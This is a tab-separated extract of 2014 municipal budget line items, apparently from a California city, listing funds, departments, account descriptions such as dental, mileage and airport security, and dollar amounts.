6443	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1030.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1030.0
6444	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	7880.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7880.0
6445	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	450.0
6446	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	24477.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24477.0
6447	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	204.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	204.0
6448	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	350.0
6449	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	197638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	197638.0
6450	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
6451	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	10465.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10465.0
6452	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
6453	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	58102.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58102.0
6454	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6455	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6456	BA	IS	4	Special Revenue Source Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6457	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6458	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	17151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17151.0
6459	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
6460	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	13126.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13126.0
6461	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	15142.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15142.0
6462	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	8405.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8405.0
6463	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
6464	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1480.0
6465	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	55708.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	55708.0
6466	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	11212.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11212.0
6467	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	161129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	161129.0
6468	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2566.0
6469	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1377.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1377.0
6470	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	7175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7175.0
6471	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
6472	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	433.0
6473	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	50.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50.0
6474	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	140187.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	140187.0
6475	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2434.0
6476	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
6477	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2014	-22045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22045.0
6478	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
6479	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2278.0
6480	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DCAP	804.0	Salaries and Wages	2014	288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	288.0
6481	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511748.0	DENTAL	804.0	Salaries and Wages	2014	11851.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11851.0
6482	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	247961.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	247961.0
6483	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DCAP	804.0	Salaries and Wages	2014	792.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	792.0
6484	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10114.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10114.0
6485	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6369.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6369.0
6486	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-118000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-118000.0
6487	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	402660.0	FUTURE REPLACEMENT	650.0	Charges for Service	2014	-1625313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1625313.0
6488	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6489	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511748.0	DENTAL	804.0	Salaries and Wages	2014	10317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10317.0
6490	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511749.0	VISION	804.0	Salaries and Wages	2014	538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	538.0
6491	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2017.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2017.0
6492	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EAP	804.0	Salaries and Wages	2014	409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	409.0
6493	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6494	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
6495	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
6496	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2014	1850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1850.0
6497	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	2614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2614.0
6498	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130.0
6499	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533070.0	AIRPORT SECURITY GUARDS TRANS		 Supplies and Expenses	2014	653202.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	653202.0
6500	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533170.0	AUDIO EQUIPMENT MAINTENANCE		 Supplies and Expenses	2014	18505.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18505.0
6501	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	446052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	446052.0
6502	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2014	3764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3764.0
6503	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	330285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	330285.0
6504	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	269473.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	269473.0
6505	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	34257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34257.0
6506	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6507	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-POLICE RETIREE	806.0	Salaries and Wages	2014	101353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	101353.0
6508	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		MEDICAL-RETIREE	804.0	Salaries and Wages	2014	32780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32780.0
6509	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	4200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4200.0
6510	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
6511	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
6512	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408000.0	INTERFUND SERVICES-FIN	612.0	Charges for Service	2014	-708013.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-708013.0
6513	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-RETIREE	806.0	Salaries and Wages	2014	8951.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8951.0
6514	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404081.0	INTEREST - PROP 1B-SECURITY	659.0	Investment Income	2014	-10858.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10858.0
6515	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407930.0	GARDENSOFT WEBSITE PARTNR FUND	612.0	Charges for Service	2014	-7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7500.0
6516	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407940.0	GREEN BUILDING	612.0	Charges for Service	2014	-187425.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-187425.0
6517	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511748.0	DENTAL	808.0	Salaries and Wages	2014	16719.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16719.0
6518	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EAP	808.0	Salaries and Wages	2014	1566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1566.0
6519	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2014	-995441.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-995441.0
6520	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
6521	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	41328.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41328.0
6522	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	3282.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3282.0
6523	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	57330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57330.0
6524	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
6525	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	2005.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2005.0
6526	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	540.0
6527	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	908.0	 Supplies and Expenses	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
6528	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578470.0	GROUNDSKEEPING TRANSFER	810.0	 Supplies and Expenses	2014	78409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	78409.0
6529	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6530	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511748.0	DENTAL	804.0	Salaries and Wages	2014	4868.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4868.0
6531	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1911.0
6532	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3580.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3580.0
6533	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105.0
6534	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19631.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19631.0
6535	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	8020.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8020.0
6536	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6537	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DCAP	804.0	Salaries and Wages	2014	528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	528.0
6538	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1703.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1703.0
6539	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4750.0
6540	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	10200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10200.0
6541	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	5436.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5436.0
6542	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566880.0	EXPLORER POST	806.0	 Supplies and Expenses	2014	4606.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4606.0
6543	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
6544	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402161.0	NOISE ABATEMENT - AIRPORT	662.0	Other	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
6545	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	586561.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	586561.0
6546	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511749.0	VISION		Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
6547	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	111575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	111575.0
6548	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DISABILITY INSURANCE		Salaries and Wages	2014	3820.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3820.0
6549	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407890.0	POLYSTYRENE BAN	612.0	Charges for Service	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
6550	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2014	2075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2075.0
6551	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2014	1068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1068.0
6552	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4565.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4565.0
6553	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	938.0
6554	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
6555	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	575.0
6556	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	718.0
6557	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-RETIREE	806.0	Salaries and Wages	2014	15172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15172.0
6558	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405220.0	MAIN ST-LIGHTS & SIDEWLK CLEAN	622.0	Other	2014	-2661.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2661.0
6559	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	299296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	299296.0
6560	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511749.0	VISION	808.0	Salaries and Wages	2014	2085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2085.0
6561	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	608.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	608.0
6562	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4182.0
6563	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577520.0	INVESTMENT TRANSFERS		 Supplies and Expenses	2014	-344318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-344318.0
6564	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2014	6424.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6424.0
6565	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556110.0	DECEDENT TRANSPORTION		 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
6566	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
